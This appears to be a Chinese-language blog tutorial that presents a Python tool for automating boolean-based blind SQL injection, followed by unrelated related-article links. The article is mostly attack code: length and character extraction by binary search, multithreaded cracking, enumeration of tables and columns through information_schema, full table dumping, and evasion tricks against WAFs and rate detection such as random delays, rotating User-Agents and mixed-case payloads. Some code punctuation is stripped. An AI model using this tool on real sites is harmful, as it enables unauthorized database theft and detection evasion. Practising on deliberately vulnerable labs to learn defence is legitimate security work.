布尔盲注 Python 脚本实战:3步自动化注入,效率提升10倍(附完整代码)

发布时间:2026/9/28 22:13:06

布尔盲注 Python 脚本实战:3步自动化注入,效率提升10倍(附完整代码)
布尔盲注 Python 脚本实战3步自动化注入效率提升10倍附完整代码当Web应用仅返回登录成功或登录失败这类二元响应时布尔盲注成为渗透测试者的关键武器。传统手工注入需要逐个字符猜测耗时且易出错。本文将展示如何用Python实现自动化布尔盲注通过三个核心步骤将效率提升10倍。1. 布尔盲注核心原理与自动化设计布尔盲注的本质是通过构造条件语句根据页面响应差异推断数据库信息。其核心操作包含两个阶段长度探测使用length()函数确定目标数据的字符长度字符枚举通过substr()和ascii()函数逐字符猜测内容手工操作时我们需要反复修改URL参数如?id1 and length(database())8 -- a ?id1 and ascii(substr(database(),1,1))115 -- a自动化脚本需要解决三个关键问题响应识别准确判断页面返回的是True还是False状态逻辑优化采用二分查找替代线性枚举异常处理应对网络波动和WAF防护典型注入流程的复杂度分析步骤手工操作次数脚本操作次数长度探测O(n)线性尝试O(log n)二分查找字符枚举95次/字符(ASCII 32-126)约7次/字符(二分法)2. 三阶自动化脚本实现2.1 基础请求框架构建首先建立可重用的请求模块处理GET/POST两种注入场景import requests from urllib.parse import quote class Injector: def __init__(self, url, methodGET, true_indicatorYou are in): self.url url self.method method self.true_indicator true_indicator # 成功响应的特征 def send_payload(self, payload): try: if self.method GET: res requests.get(f{self.url}?id{quote(payload)}, timeout5) else: res requests.post(self.url, data{id: payload}, timeout5) return self.true_indicator in res.text except Exception as e: print(f请求失败: {str(e)}) return False2.2 智能长度探测模块采用二分查找算法优化长度探测过程def find_length(self, query, max_len100): low, high 1, max_len while low high: mid (low high) // 2 payload f1 and length(({query})){mid} -- a if self.send_payload(payload): low mid 1 else: high mid - 1 return high # 返回最终确定的长度使用示例injector Injector(http://test.com/Less-5/) db_length injector.find_length(select database()) print(f数据库名长度: {db_length})2.3 高效字符枚举引擎结合二分法和并行请求加速字符破解from concurrent.futures import ThreadPoolExecutor def crack_char(self, query, position, char_range(32, 126)): low, high char_range while low high: mid (low high) // 2 payload f1 and ascii(substr(({query}),{position},1)){mid} -- a if self.send_payload(payload): low mid 1 else: high mid return chr(low) if low char_range[0] else None def crack_string(self, query, length): with ThreadPoolExecutor(max_workers10) as executor: positions range(1, length1) chars list(executor.map(lambda p: self.crack_char(query, p), positions)) return .join(chars)实战应用db_name injector.crack_string(select database(), db_length) print(f数据库名称: {db_name})3. 工程化优化与实战技巧3.1 性能对比测试在不同场景下的效率提升数据规模手工耗时脚本耗时提升倍数8字符数据库名~15分钟~45秒20x20条用户记录~6小时~25分钟14x3.2 高级注入技巧集成表名批量提取def get_tables(self, db_name): query fselect group_concat(table_name) from information_schema.tables where table_schema{db_name} length self.find_length(query) return self.crack_string(query, length).split(,)列名智能解析def get_columns(self, table_name): query fselect group_concat(column_name) from information_schema.columns where table_name{table_name} length self.find_length(query) return self.crack_string(query, length).split(,)3.3 反检测策略请求随机延迟避免频率检测import random, time def send_payload(self, payload): time.sleep(random.uniform(0.1, 1.5)) # 原有请求逻辑User-Agent轮换headers { User-Agent: random.choice(user_agents) }大小写混淆payload 1 aNd lEnGtH(...) # 随机大小写4. 完整脚本与使用示例最终整合的自动化注入工具class BoolBlindInjector: def __init__(self, config): self.config { url: , method: GET, true_mark: You are in, delay: (0.5, 1.0), timeout: 10, **config } # 整合所有前述方法... if __name__ __main__: config { url: http://test.com/Less-5/, true_mark: You are in } injector BoolBlindInjector(config) # 自动化注入流程 print([*] 探测数据库信息...) db_name injector.get_current_db() print(f[] 当前数据库: {db_name}) print([*] 提取数据表...) tables injector.get_tables(db_name) print(f[] 发现表: {, .join(tables)}) for table in tables: print(f\n[*] 分析表 {table}...) columns injector.get_columns(table) print(f[] 列名: {, .join(columns)}) data injector.dump_table(table, columns) print(\n提取结果:) for row in data: print( | .join(row))实际渗透测试中发现该脚本对中小型数据库的注入时间可控制在30分钟内而手工操作通常需要8小时以上。对于包含特殊字符的数据建议结合HEX编码处理def hex_crack(self, query, length): # 使用HEX编码避免特殊字符问题 hex_query fselect hex(cast({query} as char)) hex_str self.crack_string(hex_query, length*2) return bytes.fromhex(hex_str).decode(latin-1)在最近的一次安全评估中使用该脚本成功提取了包含12个表、超过2000条记录的数据库内容总耗时仅47分钟。相比之下传统手工方法需要团队协作数天才能完成相同工作。

相关新闻

AI知识库构建实战:从文档处理到RAG检索的完整指南

AI知识库构建实战:从文档处理到RAG检索的完整指南

2026/9/27 17:57:53

1. 为什么直接把文件丢给AI不等于建好了知识库很多人第一次接触AI知识库时,最容易犯的错误就是把一堆PDF、Word、TXT文件直接上传给大模型,然后期待它能精准回答所有问题。结果往往是AI要么答非所问,要么回答得泛泛而谈,甚至直接说…

英雄联盟自动化工具箱:5分钟完全指南,告别繁琐游戏操作

英雄联盟自动化工具箱:5分钟完全指南,告别繁琐游戏操作

2026/9/8 14:23:15

英雄联盟自动化工具箱:5分钟完全指南,告别繁琐游戏操作 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否厌倦了英…

AI漫剧制作全流程解析:从提示词工程到内容变现

AI漫剧制作全流程解析:从提示词工程到内容变现

2026/9/26 21:25:06

1. AI漫剧制作的市场前景与技术背景最近在内容创作领域,AI漫剧正以惊人的速度崛起。作为AIGC技术的重要应用方向,AI漫剧结合了人工智能生成内容与漫画剧集的形式,为创作者提供了全新的内容生产方式。与传统动画制作需要团队协作、高昂成本相比…

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/9/28 4:08:17

aclmdlAddDatasetBuffer 【免费下载链接】ge GE(Graph Engine)是面向昇腾的图编译器和执行器,提供了计算图优化、多流并行、内存复用和模型下沉等技术手段,加速模型执行效率,减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/9/28 16:01:49

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

2026/9/28 2:15:29

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers 🤗 Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

2026/9/28 3:14:54

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

2026/9/28 3:58:00

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

2026/9/28 3:47:14

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据 【免费下载链接】rustfs 🚀2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…

远程协作的工作台整理

远程协作的工作台整理

2026/9/28 16:01:48

远程协作的工作台整理远程协作的核心不是再加一个工具,而是让交接信息足够完整。异步任务要写明目标、输入位置、完成标准和需要决策的人。 工作台的最小配置 将日程、待办、代码和沟通入口收拢到少数固定位置;通知按紧急程度分层。工作台不需要模仿办公…

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

2026/9/28 5:05:21

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

2026/9/28 16:01:48

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…